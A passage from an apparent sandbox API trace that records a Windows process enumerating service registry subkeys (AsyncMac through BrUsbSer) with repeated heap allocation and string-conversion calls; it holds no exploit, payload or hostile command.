BaseAddress=0x21f18e0) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.011] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.011] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.011] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.011] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.012] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f19b8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.012] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.012] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.012] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.012] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.013] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.013] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.013] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.013] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.014] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.014] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.014] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.014] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.014] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.014] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.015] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.015] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.015] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.015] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.016] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.016] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.016] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.016] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.016] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.016] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.017] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.017] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.017] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.017] 